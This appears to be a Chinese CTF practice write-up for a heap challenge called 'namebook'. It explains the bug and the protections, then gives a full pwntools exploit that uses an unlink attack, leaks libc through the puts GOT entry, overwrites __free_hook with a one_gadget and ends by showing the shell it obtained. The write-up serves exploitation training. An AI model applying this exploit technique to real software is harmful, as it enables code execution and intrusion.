namebook

题目

依旧是练习题。

四个功能： add delete reset show

add 大小限制十个， 固定malloc(0x10). delete free完清空指针 reset 大小变为0x100

明显溢出 show 根据指针显示内容

保护：

```
$ checksec namebook
[*] '/home/sirius/tikool/prac/namebook/namebook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

思路

先通过unlink 控制bss段存储指针的部分，然后泄露libc地址

有了libc地址之后复写malloc_hook 或free_hook 为one_gadget 就好

exp

```
from pwn import *

context.log_level = 'debug'

sh = process('./namebook')
elf = ELF('./namebook')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def allocate(idx,name):
    sh.sendlineafter('>','1')
    sh.sendlineafter('index:',str(idx))
    sh.sendlineafter('name:',name)

def delete(idx):
    sh.sendlineafter('>','2')
```

```
        sh.sendlineafter('index:',str(idx))

def show(idx):
    sh.sendlineafter('>','3')
    sh.sendlineafter('index:',str(idx))

def reset(idx,name):
    sh.sendlineafter('>','4')
        sh.sendlineafter('index:',str(idx))
        sh.sendlineafter('name:',name)


allocate(0,'a')
allocate(1,'b')
allocate(2,'c')
allocate(3,'d')

ptr_addr = 0x602040
#delete(1)
reset(0,p64(0x90)+p64(0x80)+p64(ptr_addr-0x18)+p64(ptr_addr-
0x10)+'a'*0x60+p64(0x80)+p64(0x90))
delete(1)
#gdb.attach(sh)

reset(0,'a'*0x18+p64(elf.got['puts'])+p64(0x602040))
show(0)
puts_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
print 'puts_addr: '+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + 0x3c4b10
print 'malloc_hook: '+hex(malloc_hook)
free_hook = libc_base + libc.symbols['__free_hook']
print 'free_hook: '+hex(free_hook)
one_gadget = libc_base + 0x4526a
#gdb.attach(sh)

reset(1,p64(free_hook))
reset(0,p64(one_gadget))

#sh.recvuntil('>')
#sh.sendline('1')
#sh.sendlineafter('index:','8')
#sh.sendlineafter('name:','v')
#sh.recv()
delete(2)
#delete(2)
#gdb.attach(sh)
sh.interactive()
```

getshell结果:

```
[*] Switching to interactive mode
$ ls
core  namebook    namebookwp.py
$
```